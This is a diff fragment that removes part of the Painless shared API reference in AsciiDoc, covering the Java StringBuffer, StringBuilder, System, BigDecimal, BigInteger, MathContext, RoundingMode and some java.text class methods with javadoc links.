-* static double {java11-javadoc}/java.base/java/lang/StrictMath.html#sin(double)[sin](double)
-* static double {java11-javadoc}/java.base/java/lang/StrictMath.html#sinh(double)[sinh](double)
-* static double {java11-javadoc}/java.base/java/lang/StrictMath.html#sqrt(double)[sqrt](double)
-* static double {java11-javadoc}/java.base/java/lang/StrictMath.html#tan(double)[tan](double)
-* static double {java11-javadoc}/java.base/java/lang/StrictMath.html#tanh(double)[tanh](double)
-* static double {java11-javadoc}/java.base/java/lang/StrictMath.html#toDegrees(double)[toDegrees](double)
-* static double {java11-javadoc}/java.base/java/lang/StrictMath.html#toRadians(double)[toRadians](double)
-* static double {java11-javadoc}/java.base/java/lang/StrictMath.html#ulp(double)[ulp](double)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-StringBuffer]]
-==== StringBuffer
-* {java11-javadoc}/java.base/java/lang/StringBuffer.html#<init>()[StringBuffer]()
-* {java11-javadoc}/java.base/java/lang/StringBuffer.html#<init>(java.lang.CharSequence)[StringBuffer](CharSequence)
-* StringBuffer {java11-javadoc}/java.base/java/lang/StringBuffer.html#append(java.lang.Object)[append](def)
-* StringBuffer {java11-javadoc}/java.base/java/lang/StringBuffer.html#append(java.lang.CharSequence,int,int)[append](CharSequence, int, int)
-* StringBuffer {java11-javadoc}/java.base/java/lang/StringBuffer.html#appendCodePoint(int)[appendCodePoint](int)
-* int {java11-javadoc}/java.base/java/lang/StringBuffer.html#capacity()[capacity]()
-* char {java11-javadoc}/java.base/java/lang/CharSequence.html#charAt(int)[charAt](int)
-* IntStream {java11-javadoc}/java.base/java/lang/CharSequence.html#chars()[chars]()
-* int {java11-javadoc}/java.base/java/lang/StringBuffer.html#codePointAt(int)[codePointAt](int)
-* int {java11-javadoc}/java.base/java/lang/StringBuffer.html#codePointBefore(int)[codePointBefore](int)
-* int {java11-javadoc}/java.base/java/lang/StringBuffer.html#codePointCount(int,int)[codePointCount](int, int)
-* IntStream {java11-javadoc}/java.base/java/lang/CharSequence.html#codePoints()[codePoints]()
-* int {java11-javadoc}/java.base/java/lang/Comparable.html#compareTo(java.lang.Object)[compareTo](def)
-* StringBuffer {java11-javadoc}/java.base/java/lang/StringBuffer.html#delete(int,int)[delete](int, int)
-* StringBuffer {java11-javadoc}/java.base/java/lang/StringBuffer.html#deleteCharAt(int)[deleteCharAt](int)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* void {java11-javadoc}/java.base/java/lang/StringBuffer.html#getChars(int,int,char%5B%5D,int)[getChars](int, int, char[], int)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* int {java11-javadoc}/java.base/java/lang/StringBuffer.html#indexOf(java.lang.String)[indexOf](null)
-* int {java11-javadoc}/java.base/java/lang/StringBuffer.html#indexOf(java.lang.String,int)[indexOf](null, int)
-* StringBuffer {java11-javadoc}/java.base/java/lang/StringBuffer.html#insert(int,java.lang.Object)[insert](int, def)
-* int {java11-javadoc}/java.base/java/lang/StringBuffer.html#lastIndexOf(java.lang.String)[lastIndexOf](null)
-* int {java11-javadoc}/java.base/java/lang/StringBuffer.html#lastIndexOf(java.lang.String,int)[lastIndexOf](null, int)
-* int {java11-javadoc}/java.base/java/lang/CharSequence.html#length()[length]()
-* int {java11-javadoc}/java.base/java/lang/StringBuffer.html#offsetByCodePoints(int,int)[offsetByCodePoints](int, int)
-* StringBuffer {java11-javadoc}/java.base/java/lang/StringBuffer.html#replace(int,int,java.lang.String)[replace](int, int, null)
-* null replaceAll(Pattern, Function)
-* null replaceFirst(Pattern, Function)
-* StringBuffer {java11-javadoc}/java.base/java/lang/StringBuffer.html#reverse()[reverse]()
-* void {java11-javadoc}/java.base/java/lang/StringBuffer.html#setCharAt(int,char)[setCharAt](int, char)
-* void {java11-javadoc}/java.base/java/lang/StringBuffer.html#setLength(int)[setLength](int)
-* CharSequence {java11-javadoc}/java.base/java/lang/CharSequence.html#subSequence(int,int)[subSequence](int, int)
-* null {java11-javadoc}/java.base/java/lang/StringBuffer.html#substring(int)[substring](int)
-* null {java11-javadoc}/java.base/java/lang/StringBuffer.html#substring(int,int)[substring](int, int)
-* null {java11-javadoc}/java.base/java/lang/CharSequence.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-StringBuilder]]
-==== StringBuilder
-* {java11-javadoc}/java.base/java/lang/StringBuilder.html#<init>()[StringBuilder]()
-* {java11-javadoc}/java.base/java/lang/StringBuilder.html#<init>(java.lang.CharSequence)[StringBuilder](CharSequence)
-* StringBuilder {java11-javadoc}/java.base/java/lang/StringBuilder.html#append(java.lang.Object)[append](def)
-* StringBuilder {java11-javadoc}/java.base/java/lang/StringBuilder.html#append(java.lang.CharSequence,int,int)[append](CharSequence, int, int)
-* StringBuilder {java11-javadoc}/java.base/java/lang/StringBuilder.html#appendCodePoint(int)[appendCodePoint](int)
-* int {java11-javadoc}/java.base/java/lang/StringBuilder.html#capacity()[capacity]()
-* char {java11-javadoc}/java.base/java/lang/CharSequence.html#charAt(int)[charAt](int)
-* IntStream {java11-javadoc}/java.base/java/lang/CharSequence.html#chars()[chars]()
-* int {java11-javadoc}/java.base/java/lang/StringBuilder.html#codePointAt(int)[codePointAt](int)
-* int {java11-javadoc}/java.base/java/lang/StringBuilder.html#codePointBefore(int)[codePointBefore](int)
-* int {java11-javadoc}/java.base/java/lang/StringBuilder.html#codePointCount(int,int)[codePointCount](int, int)
-* IntStream {java11-javadoc}/java.base/java/lang/CharSequence.html#codePoints()[codePoints]()
-* int {java11-javadoc}/java.base/java/lang/Comparable.html#compareTo(java.lang.Object)[compareTo](def)
-* StringBuilder {java11-javadoc}/java.base/java/lang/StringBuilder.html#delete(int,int)[delete](int, int)
-* StringBuilder {java11-javadoc}/java.base/java/lang/StringBuilder.html#deleteCharAt(int)[deleteCharAt](int)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* void {java11-javadoc}/java.base/java/lang/StringBuilder.html#getChars(int,int,char%5B%5D,int)[getChars](int, int, char[], int)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* int {java11-javadoc}/java.base/java/lang/StringBuilder.html#indexOf(java.lang.String)[indexOf](null)
-* int {java11-javadoc}/java.base/java/lang/StringBuilder.html#indexOf(java.lang.String,int)[indexOf](null, int)
-* StringBuilder {java11-javadoc}/java.base/java/lang/StringBuilder.html#insert(int,java.lang.Object)[insert](int, def)
-* int {java11-javadoc}/java.base/java/lang/StringBuilder.html#lastIndexOf(java.lang.String)[lastIndexOf](null)
-* int {java11-javadoc}/java.base/java/lang/StringBuilder.html#lastIndexOf(java.lang.String,int)[lastIndexOf](null, int)
-* int {java11-javadoc}/java.base/java/lang/CharSequence.html#length()[length]()
-* int {java11-javadoc}/java.base/java/lang/StringBuilder.html#offsetByCodePoints(int,int)[offsetByCodePoints](int, int)
-* StringBuilder {java11-javadoc}/java.base/java/lang/StringBuilder.html#replace(int,int,java.lang.String)[replace](int, int, null)
-* null replaceAll(Pattern, Function)
-* null replaceFirst(Pattern, Function)
-* StringBuilder {java11-javadoc}/java.base/java/lang/StringBuilder.html#reverse()[reverse]()
-* void {java11-javadoc}/java.base/java/lang/StringBuilder.html#setCharAt(int,char)[setCharAt](int, char)
-* void {java11-javadoc}/java.base/java/lang/StringBuilder.html#setLength(int)[setLength](int)
-* CharSequence {java11-javadoc}/java.base/java/lang/CharSequence.html#subSequence(int,int)[subSequence](int, int)
-* null {java11-javadoc}/java.base/java/lang/StringBuilder.html#substring(int)[substring](int)
-* null {java11-javadoc}/java.base/java/lang/StringBuilder.html#substring(int,int)[substring](int, int)
-* null {java11-javadoc}/java.base/java/lang/CharSequence.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-StringIndexOutOfBoundsException]]
-==== StringIndexOutOfBoundsException
-* {java11-javadoc}/java.base/java/lang/StringIndexOutOfBoundsException.html#<init>()[StringIndexOutOfBoundsException]()
-* {java11-javadoc}/java.base/java/lang/StringIndexOutOfBoundsException.html#<init>(java.lang.String)[StringIndexOutOfBoundsException](null)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* null {java11-javadoc}/java.base/java/lang/Throwable.html#getLocalizedMessage()[getLocalizedMessage]()
-* null {java11-javadoc}/java.base/java/lang/Throwable.html#getMessage()[getMessage]()
-* StackTraceElement[] {java11-javadoc}/java.base/java/lang/Throwable.html#getStackTrace()[getStackTrace]()
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-System]]
-==== System
-* static void {java11-javadoc}/java.base/java/lang/System.html#arraycopy(java.lang.Object,int,java.lang.Object,int,int)[arraycopy](Object, int, Object, int, int)
-* static long {java11-javadoc}/java.base/java/lang/System.html#currentTimeMillis()[currentTimeMillis]()
-* static long {java11-javadoc}/java.base/java/lang/System.html#nanoTime()[nanoTime]()
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-TypeNotPresentException]]
-==== TypeNotPresentException
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* null {java11-javadoc}/java.base/java/lang/Throwable.html#getLocalizedMessage()[getLocalizedMessage]()
-* null {java11-javadoc}/java.base/java/lang/Throwable.html#getMessage()[getMessage]()
-* StackTraceElement[] {java11-javadoc}/java.base/java/lang/Throwable.html#getStackTrace()[getStackTrace]()
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-* null {java11-javadoc}/java.base/java/lang/TypeNotPresentException.html#typeName()[typeName]()
-
-
-[[painless-api-reference-shared-UnsupportedOperationException]]
-==== UnsupportedOperationException
-* {java11-javadoc}/java.base/java/lang/UnsupportedOperationException.html#<init>()[UnsupportedOperationException]()
-* {java11-javadoc}/java.base/java/lang/UnsupportedOperationException.html#<init>(java.lang.String)[UnsupportedOperationException](null)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* null {java11-javadoc}/java.base/java/lang/Throwable.html#getLocalizedMessage()[getLocalizedMessage]()
-* null {java11-javadoc}/java.base/java/lang/Throwable.html#getMessage()[getMessage]()
-* StackTraceElement[] {java11-javadoc}/java.base/java/lang/Throwable.html#getStackTrace()[getStackTrace]()
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-Void]]
-==== Void
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[role="exclude",id="painless-api-reference-shared-java-math"]
-=== Shared API for package java.math
-See the <<painless-api-reference-shared, Shared API>> for a high-level overview of all packages and classes.
-
-[[painless-api-reference-shared-BigDecimal]]
-==== BigDecimal
-* static BigDecimal {java11-javadoc}/java.base/java/math/BigDecimal.html#ONE[ONE]
-* static BigDecimal {java11-javadoc}/java.base/java/math/BigDecimal.html#TEN[TEN]
-* static BigDecimal {java11-javadoc}/java.base/java/math/BigDecimal.html#ZERO[ZERO]
-* static BigDecimal {java11-javadoc}/java.base/java/math/BigDecimal.html#valueOf(double)[valueOf](double)
-* {java11-javadoc}/java.base/java/math/BigDecimal.html#<init>(java.lang.String)[BigDecimal](null)
-* {java11-javadoc}/java.base/java/math/BigDecimal.html#<init>(java.lang.String,java.math.MathContext)[BigDecimal](null, MathContext)
-* BigDecimal {java11-javadoc}/java.base/java/math/BigDecimal.html#abs()[abs]()
-* BigDecimal {java11-javadoc}/java.base/java/math/BigDecimal.html#abs(java.math.MathContext)[abs](MathContext)
-* BigDecimal {java11-javadoc}/java.base/java/math/BigDecimal.html#add(java.math.BigDecimal)[add](BigDecimal)
-* BigDecimal {java11-javadoc}/java.base/java/math/BigDecimal.html#add(java.math.BigDecimal,java.math.MathContext)[add](BigDecimal, MathContext)
-* byte {java11-javadoc}/java.base/java/lang/Number.html#byteValue()[byteValue]()
-* byte {java11-javadoc}/java.base/java/math/BigDecimal.html#byteValueExact()[byteValueExact]()
-* int {java11-javadoc}/java.base/java/math/BigDecimal.html#compareTo(java.math.BigDecimal)[compareTo](BigDecimal)
-* BigDecimal {java11-javadoc}/java.base/java/math/BigDecimal.html#divide(java.math.BigDecimal)[divide](BigDecimal)
-* BigDecimal {java11-javadoc}/java.base/java/math/BigDecimal.html#divide(java.math.BigDecimal,java.math.MathContext)[divide](BigDecimal, MathContext)
-* BigDecimal[] {java11-javadoc}/java.base/java/math/BigDecimal.html#divideAndRemainder(java.math.BigDecimal)[divideAndRemainder](BigDecimal)
-* BigDecimal[] {java11-javadoc}/java.base/java/math/BigDecimal.html#divideAndRemainder(java.math.BigDecimal,java.math.MathContext)[divideAndRemainder](BigDecimal, MathContext)
-* BigDecimal {java11-javadoc}/java.base/java/math/BigDecimal.html#divideToIntegralValue(java.math.BigDecimal)[divideToIntegralValue](BigDecimal)
-* BigDecimal {java11-javadoc}/java.base/java/math/BigDecimal.html#divideToIntegralValue(java.math.BigDecimal,java.math.MathContext)[divideToIntegralValue](BigDecimal, MathContext)
-* double {java11-javadoc}/java.base/java/lang/Number.html#doubleValue()[doubleValue]()
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* float {java11-javadoc}/java.base/java/lang/Number.html#floatValue()[floatValue]()
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* int {java11-javadoc}/java.base/java/lang/Number.html#intValue()[intValue]()
-* int {java11-javadoc}/java.base/java/math/BigDecimal.html#intValueExact()[intValueExact]()
-* long {java11-javadoc}/java.base/java/lang/Number.html#longValue()[longValue]()
-* long {java11-javadoc}/java.base/java/math/BigDecimal.html#longValueExact()[longValueExact]()
-* BigDecimal {java11-javadoc}/java.base/java/math/BigDecimal.html#max(java.math.BigDecimal)[max](BigDecimal)
-* BigDecimal {java11-javadoc}/java.base/java/math/BigDecimal.html#min(java.math.BigDecimal)[min](BigDecimal)
-* BigDecimal {java11-javadoc}/java.base/java/math/BigDecimal.html#movePointLeft(int)[movePointLeft](int)
-* BigDecimal {java11-javadoc}/java.base/java/math/BigDecimal.html#movePointRight(int)[movePointRight](int)
-* BigDecimal {java11-javadoc}/java.base/java/math/BigDecimal.html#multiply(java.math.BigDecimal)[multiply](BigDecimal)
-* BigDecimal {java11-javadoc}/java.base/java/math/BigDecimal.html#multiply(java.math.BigDecimal,java.math.MathContext)[multiply](BigDecimal, MathContext)
-* BigDecimal {java11-javadoc}/java.base/java/math/BigDecimal.html#negate()[negate]()
-* BigDecimal {java11-javadoc}/java.base/java/math/BigDecimal.html#negate(java.math.MathContext)[negate](MathContext)
-* BigDecimal {java11-javadoc}/java.base/java/math/BigDecimal.html#plus()[plus]()
-* BigDecimal {java11-javadoc}/java.base/java/math/BigDecimal.html#plus(java.math.MathContext)[plus](MathContext)
-* BigDecimal {java11-javadoc}/java.base/java/math/BigDecimal.html#pow(int)[pow](int)
-* BigDecimal {java11-javadoc}/java.base/java/math/BigDecimal.html#pow(int,java.math.MathContext)[pow](int, MathContext)
-* int {java11-javadoc}/java.base/java/math/BigDecimal.html#precision()[precision]()
-* BigDecimal {java11-javadoc}/java.base/java/math/BigDecimal.html#remainder(java.math.BigDecimal)[remainder](BigDecimal)
-* BigDecimal {java11-javadoc}/java.base/java/math/BigDecimal.html#remainder(java.math.BigDecimal,java.math.MathContext)[remainder](BigDecimal, MathContext)
-* BigDecimal {java11-javadoc}/java.base/java/math/BigDecimal.html#round(java.math.MathContext)[round](MathContext)
-* int {java11-javadoc}/java.base/java/math/BigDecimal.html#scale()[scale]()
-* BigDecimal {java11-javadoc}/java.base/java/math/BigDecimal.html#scaleByPowerOfTen(int)[scaleByPowerOfTen](int)
-* BigDecimal {java11-javadoc}/java.base/java/math/BigDecimal.html#setScale(int)[setScale](int)
-* BigDecimal {java11-javadoc}/java.base/java/math/BigDecimal.html#setScale(int,java.math.RoundingMode)[setScale](int, RoundingMode)
-* short {java11-javadoc}/java.base/java/lang/Number.html#shortValue()[shortValue]()
-* short {java11-javadoc}/java.base/java/math/BigDecimal.html#shortValueExact()[shortValueExact]()
-* int {java11-javadoc}/java.base/java/math/BigDecimal.html#signum()[signum]()
-* BigDecimal {java11-javadoc}/java.base/java/math/BigDecimal.html#stripTrailingZeros()[stripTrailingZeros]()
-* BigDecimal {java11-javadoc}/java.base/java/math/BigDecimal.html#subtract(java.math.BigDecimal)[subtract](BigDecimal)
-* BigDecimal {java11-javadoc}/java.base/java/math/BigDecimal.html#subtract(java.math.BigDecimal,java.math.MathContext)[subtract](BigDecimal, MathContext)
-* BigInteger {java11-javadoc}/java.base/java/math/BigDecimal.html#toBigInteger()[toBigInteger]()
-* BigInteger {java11-javadoc}/java.base/java/math/BigDecimal.html#toBigIntegerExact()[toBigIntegerExact]()
-* null {java11-javadoc}/java.base/java/math/BigDecimal.html#toEngineeringString()[toEngineeringString]()
-* null {java11-javadoc}/java.base/java/math/BigDecimal.html#toPlainString()[toPlainString]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-* BigDecimal {java11-javadoc}/java.base/java/math/BigDecimal.html#ulp()[ulp]()
-
-
-[[painless-api-reference-shared-BigInteger]]
-==== BigInteger
-* static BigInteger {java11-javadoc}/java.base/java/math/BigInteger.html#ONE[ONE]
-* static BigInteger {java11-javadoc}/java.base/java/math/BigInteger.html#TEN[TEN]
-* static BigInteger {java11-javadoc}/java.base/java/math/BigInteger.html#ZERO[ZERO]
-* static BigInteger {java11-javadoc}/java.base/java/math/BigInteger.html#valueOf(long)[valueOf](long)
-* {java11-javadoc}/java.base/java/math/BigInteger.html#<init>(java.lang.String)[BigInteger](null)
-* {java11-javadoc}/java.base/java/math/BigInteger.html#<init>(java.lang.String,int)[BigInteger](null, int)
-* BigInteger {java11-javadoc}/java.base/java/math/BigInteger.html#abs()[abs]()
-* BigInteger {java11-javadoc}/java.base/java/math/BigInteger.html#add(java.math.BigInteger)[add](BigInteger)
-* BigInteger {java11-javadoc}/java.base/java/math/BigInteger.html#and(java.math.BigInteger)[and](BigInteger)
-* BigInteger {java11-javadoc}/java.base/java/math/BigInteger.html#andNot(java.math.BigInteger)[andNot](BigInteger)
-* int {java11-javadoc}/java.base/java/math/BigInteger.html#bitCount()[bitCount]()
-* int {java11-javadoc}/java.base/java/math/BigInteger.html#bitLength()[bitLength]()
-* byte {java11-javadoc}/java.base/java/lang/Number.html#byteValue()[byteValue]()
-* byte {java11-javadoc}/java.base/java/math/BigInteger.html#byteValueExact()[byteValueExact]()
-* BigInteger {java11-javadoc}/java.base/java/math/BigInteger.html#clearBit(int)[clearBit](int)
-* int {java11-javadoc}/java.base/java/math/BigInteger.html#compareTo(java.math.BigInteger)[compareTo](BigInteger)
-* BigInteger {java11-javadoc}/java.base/java/math/BigInteger.html#divide(java.math.BigInteger)[divide](BigInteger)
-* BigInteger[] {java11-javadoc}/java.base/java/math/BigInteger.html#divideAndRemainder(java.math.BigInteger)[divideAndRemainder](BigInteger)
-* double {java11-javadoc}/java.base/java/lang/Number.html#doubleValue()[doubleValue]()
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* BigInteger {java11-javadoc}/java.base/java/math/BigInteger.html#flipBit(int)[flipBit](int)
-* float {java11-javadoc}/java.base/java/lang/Number.html#floatValue()[floatValue]()
-* BigInteger {java11-javadoc}/java.base/java/math/BigInteger.html#gcd(java.math.BigInteger)[gcd](BigInteger)
-* int {java11-javadoc}/java.base/java/math/BigInteger.html#getLowestSetBit()[getLowestSetBit]()
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* int {java11-javadoc}/java.base/java/lang/Number.html#intValue()[intValue]()
-* int {java11-javadoc}/java.base/java/math/BigInteger.html#intValueExact()[intValueExact]()
-* long {java11-javadoc}/java.base/java/lang/Number.html#longValue()[longValue]()
-* long {java11-javadoc}/java.base/java/math/BigInteger.html#longValueExact()[longValueExact]()
-* BigInteger {java11-javadoc}/java.base/java/math/BigInteger.html#max(java.math.BigInteger)[max](BigInteger)
-* BigInteger {java11-javadoc}/java.base/java/math/BigInteger.html#min(java.math.BigInteger)[min](BigInteger)
-* BigInteger {java11-javadoc}/java.base/java/math/BigInteger.html#mod(java.math.BigInteger)[mod](BigInteger)
-* BigInteger {java11-javadoc}/java.base/java/math/BigInteger.html#modInverse(java.math.BigInteger)[modInverse](BigInteger)
-* BigInteger {java11-javadoc}/java.base/java/math/BigInteger.html#modPow(java.math.BigInteger,java.math.BigInteger)[modPow](BigInteger, BigInteger)
-* BigInteger {java11-javadoc}/java.base/java/math/BigInteger.html#multiply(java.math.BigInteger)[multiply](BigInteger)
-* BigInteger {java11-javadoc}/java.base/java/math/BigInteger.html#negate()[negate]()
-* BigInteger {java11-javadoc}/java.base/java/math/BigInteger.html#not()[not]()
-* BigInteger {java11-javadoc}/java.base/java/math/BigInteger.html#or(java.math.BigInteger)[or](BigInteger)
-* BigInteger {java11-javadoc}/java.base/java/math/BigInteger.html#pow(int)[pow](int)
-* BigInteger {java11-javadoc}/java.base/java/math/BigInteger.html#remainder(java.math.BigInteger)[remainder](BigInteger)
-* BigInteger {java11-javadoc}/java.base/java/math/BigInteger.html#setBit(int)[setBit](int)
-* BigInteger {java11-javadoc}/java.base/java/math/BigInteger.html#shiftLeft(int)[shiftLeft](int)
-* BigInteger {java11-javadoc}/java.base/java/math/BigInteger.html#shiftRight(int)[shiftRight](int)
-* short {java11-javadoc}/java.base/java/lang/Number.html#shortValue()[shortValue]()
-* short {java11-javadoc}/java.base/java/math/BigInteger.html#shortValueExact()[shortValueExact]()
-* int {java11-javadoc}/java.base/java/math/BigInteger.html#signum()[signum]()
-* BigInteger {java11-javadoc}/java.base/java/math/BigInteger.html#subtract(java.math.BigInteger)[subtract](BigInteger)
-* boolean {java11-javadoc}/java.base/java/math/BigInteger.html#testBit(int)[testBit](int)
-* byte[] {java11-javadoc}/java.base/java/math/BigInteger.html#toByteArray()[toByteArray]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-* null {java11-javadoc}/java.base/java/math/BigInteger.html#toString(int)[toString](int)
-* BigInteger {java11-javadoc}/java.base/java/math/BigInteger.html#xor(java.math.BigInteger)[xor](BigInteger)
-
-
-[[painless-api-reference-shared-MathContext]]
-==== MathContext
-* static MathContext {java11-javadoc}/java.base/java/math/MathContext.html#DECIMAL128[DECIMAL128]
-* static MathContext {java11-javadoc}/java.base/java/math/MathContext.html#DECIMAL32[DECIMAL32]
-* static MathContext {java11-javadoc}/java.base/java/math/MathContext.html#DECIMAL64[DECIMAL64]
-* static MathContext {java11-javadoc}/java.base/java/math/MathContext.html#UNLIMITED[UNLIMITED]
-* {java11-javadoc}/java.base/java/math/MathContext.html#<init>(int)[MathContext](int)
-* {java11-javadoc}/java.base/java/math/MathContext.html#<init>(int,java.math.RoundingMode)[MathContext](int, RoundingMode)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* int {java11-javadoc}/java.base/java/math/MathContext.html#getPrecision()[getPrecision]()
-* RoundingMode {java11-javadoc}/java.base/java/math/MathContext.html#getRoundingMode()[getRoundingMode]()
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-RoundingMode]]
-==== RoundingMode
-* static RoundingMode {java11-javadoc}/java.base/java/math/RoundingMode.html#CEILING[CEILING]
-* static RoundingMode {java11-javadoc}/java.base/java/math/RoundingMode.html#DOWN[DOWN]
-* static RoundingMode {java11-javadoc}/java.base/java/math/RoundingMode.html#FLOOR[FLOOR]
-* static RoundingMode {java11-javadoc}/java.base/java/math/RoundingMode.html#HALF_DOWN[HALF_DOWN]
-* static RoundingMode {java11-javadoc}/java.base/java/math/RoundingMode.html#HALF_EVEN[HALF_EVEN]
-* static RoundingMode {java11-javadoc}/java.base/java/math/RoundingMode.html#HALF_UP[HALF_UP]
-* static RoundingMode {java11-javadoc}/java.base/java/math/RoundingMode.html#UNNECESSARY[UNNECESSARY]
-* static RoundingMode {java11-javadoc}/java.base/java/math/RoundingMode.html#UP[UP]
-* static RoundingMode {java11-javadoc}/java.base/java/math/RoundingMode.html#valueOf(java.lang.String)[valueOf](null)
-* static RoundingMode[] {java11-javadoc}/java.base/java/math/RoundingMode.html#values()[values]()
-* int {java11-javadoc}/java.base/java/lang/Enum.html#compareTo(java.lang.Enum)[compareTo](Enum)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Enum.html#name()[name]()
-* int {java11-javadoc}/java.base/java/lang/Enum.html#ordinal()[ordinal]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[role="exclude",id="painless-api-reference-shared-java-text"]
-=== Shared API for package java.text
-See the <<painless-api-reference-shared, Shared API>> for a high-level overview of all packages and classes.
-
-[[painless-api-reference-shared-Annotation]]
-==== Annotation
-* {java11-javadoc}/java.base/java/text/Annotation.html#<init>(java.lang.Object)[Annotation](Object)
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* def {java11-javadoc}/java.base/java/text/Annotation.html#getValue()[getValue]()
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-AttributedCharacterIterator]]
-==== AttributedCharacterIterator
-* def {java11-javadoc}/java.base/java/text/CharacterIterator.html#clone()[clone]()
-* char {java11-javadoc}/java.base/java/text/CharacterIterator.html#current()[current]()
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* char {java11-javadoc}/java.base/java/text/CharacterIterator.html#first()[first]()
-* Set {java11-javadoc}/java.base/java/text/AttributedCharacterIterator.html#getAllAttributeKeys()[getAllAttributeKeys]()
-* def {java11-javadoc}/java.base/java/text/AttributedCharacterIterator.html#getAttribute(java.text.AttributedCharacterIterator$Attribute)[getAttribute](AttributedCharacterIterator.Attribute)
-* Map {java11-javadoc}/java.base/java/text/AttributedCharacterIterator.html#getAttributes()[getAttributes]()
-* int {java11-javadoc}/java.base/java/text/CharacterIterator.html#getBeginIndex()[getBeginIndex]()
-* int {java11-javadoc}/java.base/java/text/CharacterIterator.html#getEndIndex()[getEndIndex]()
-* int {java11-javadoc}/java.base/java/text/CharacterIterator.html#getIndex()[getIndex]()
-* int {java11-javadoc}/java.base/java/text/AttributedCharacterIterator.html#getRunLimit()[getRunLimit]()
-* int {java11-javadoc}/java.base/java/text/AttributedCharacterIterator.html#getRunLimit(java.util.Set)[getRunLimit](Set)
-* int {java11-javadoc}/java.base/java/text/AttributedCharacterIterator.html#getRunStart()[getRunStart]()
-* int {java11-javadoc}/java.base/java/text/AttributedCharacterIterator.html#getRunStart(java.util.Set)[getRunStart](Set)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* char {java11-javadoc}/java.base/java/text/CharacterIterator.html#last()[last]()
-* char {java11-javadoc}/java.base/java/text/CharacterIterator.html#next()[next]()
-* char {java11-javadoc}/java.base/java/text/CharacterIterator.html#previous()[previous]()
-* char {java11-javadoc}/java.base/java/text/CharacterIterator.html#setIndex(int)[setIndex](int)
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-AttributedCharacterIterator-Attribute]]
-==== AttributedCharacterIterator.Attribute
-* static AttributedCharacterIterator.Attribute {java11-javadoc}/java.base/java/text/AttributedCharacterIterator$Attribute.html#INPUT_METHOD_SEGMENT[INPUT_METHOD_SEGMENT]
-* static AttributedCharacterIterator.Attribute {java11-javadoc}/java.base/java/text/AttributedCharacterIterator$Attribute.html#LANGUAGE[LANGUAGE]
-* static AttributedCharacterIterator.Attribute {java11-javadoc}/java.base/java/text/AttributedCharacterIterator$Attribute.html#READING[READING]
-* boolean {java11-javadoc}/java.base/java/lang/Object.html#equals(java.lang.Object)[equals](Object)
-* int {java11-javadoc}/java.base/java/lang/Object.html#hashCode()[hashCode]()
-* null {java11-javadoc}/java.base/java/lang/Object.html#toString()[toString]()
-
-
-[[painless-api-reference-shared-AttributedString]]
-==== AttributedString
-* {java11-javadoc}/java.base/java/text/AttributedString.html#<init>(java.lang.String)[AttributedString](null)
-* {java11-javadoc}/java.base/java/text/AttributedString.html#<init>(java.lang.String,java.util.Map)[AttributedString](null, Map)
-* void {java11-javadoc}/java.base/java/text/AttributedString.html#addAttribute(java.text.AttributedCharacterIterator$Attribute,java.lang.Object)[addAttribute](AttributedCharacterIterator.Attribute, Object)
